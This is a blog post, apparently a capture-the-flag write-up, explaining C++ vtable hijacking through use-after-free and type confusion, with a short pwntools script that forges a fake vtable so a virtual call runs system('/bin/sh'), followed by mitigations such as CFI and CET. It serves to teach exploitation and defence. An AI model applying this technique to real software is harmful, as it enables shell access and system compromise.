algoatson.github.io ~/posts
segfault@algoatson.github.io
back to index

C++ vtable hijacking and type confusion

2026-04-053 min readpwn

C-style heap bugs end at __free_hook or a saved return address. C++ hands you a richer target: every polymorphic object is, at its first 8 bytes, a function- pointer table pointer. Corrupt that and you don't need a hook — the program's own virtual dispatch calls your code for you.

target./engine
arch
amd64-64-little
language
C++ (virtual methods)
bug
UAF on a polymorphic object -> control its vptr

the layout that makes it possible#

An object of a class with virtual methods begins with a vptr — a pointer to its class's vtable, an array of function pointers. A virtual call compiles to a double indirection through it:

obj->draw() becomestxt
1
2
3
4
5
6
obj           -> [ vptr ][ field a ][ field b ] ...
vptr          -> [ &type_info ][ &Shape::area ][ &Shape::draw ] ...   (the vtable)
call:  mov rax,[obj]        ; rax = vptr
       mov rdx,[rax + 0x10] ; rdx = vtable[2] = &draw
       mov rdi, obj         ; `this` is the first argument
       call rdx

Two facts fall out: the dispatch trusts whatever [obj] points at, and it always calls with this (the object) in rdi. So if you control the object's bytes, you control both the call target and its first argument.

hijacking the vptr#

The vtable itself lives in read-only memory, but the vptr inside the object is on the heap and writable. Three common ways to own it:

  • UAF + reclaim. Free a polymorphic object, leave a dangling reference, then allocate attacker data into the same chunk so your bytes land where the vptr was. Then trigger a virtual call. (The browser-exploit staple.)
  • Heap overflow into an adjacent object. Overflow a buffer that sits before an object and overwrite its vptr.
  • Type confusion. Get the code to treat type A as type B (a bad static_cast, a union mismatch, a deserialization bug). B's virtual call reads a vptr slot that, in A, is attacker-controlled data.

Point the vptr at a fake vtable you've staged in known memory, whose called slot holds the address you want, and arrange the object's start to be a shell string (since this/rdi points at the object):

vhijack.pypython
1
2
3
4
5
6
7
from pwn import *
libc_base = leak()                       # need a libc leak for system + the fake table addr

fake_vtable = bss + 0x40                 # somewhere we control, address known
forge(fake_vtable, slot_for_draw = libc_base + libc.sym["system"])
reclaim_uaf(obj, data = b"/bin/sh\x00".ljust(8,b"\x00") + p64(fake_vtable))
trigger_virtual_call(obj)                # draw() -> system(this) -> system("/bin/sh")
virtual dispatch called system for me

The object's first 8 bytes were "/bin/sh", its vptr pointed at my table, and obj->draw() did system(this):

txt
segfault{this_is_in_rdi}

the defences, and why this is still everywhere#

  • CFI (Control-Flow Integrity). Clang's -fsanitize=cfi-vcall verifies, before each virtual call, that the vptr points at a vtable valid for that static type. A forged or wrong-type table aborts. The strongest mitigation here.
  • CET / IBT (covered) requires the indirect call to land on an endbr64 — so you can still jump to a real function entry, just not a mid-function gadget. PAC (on Apple) signs vtable pointers.
  • But the bug class persists. Without CFI, vptr hijack is clean and reliable, which is why type confusion and UAF-on-objects dominate browser and language-VM exploitation. The mitigations narrow what you can call; they rarely remove the corrupted-vptr primitive itself.

The shift in mindset from C to C++ exploitation: stop hunting for a hook to overwrite and start hunting for an object whose vptr you can control. The language scatters indirect-call sites through every polymorphic type — each one is a redirect waiting for a vptr you own.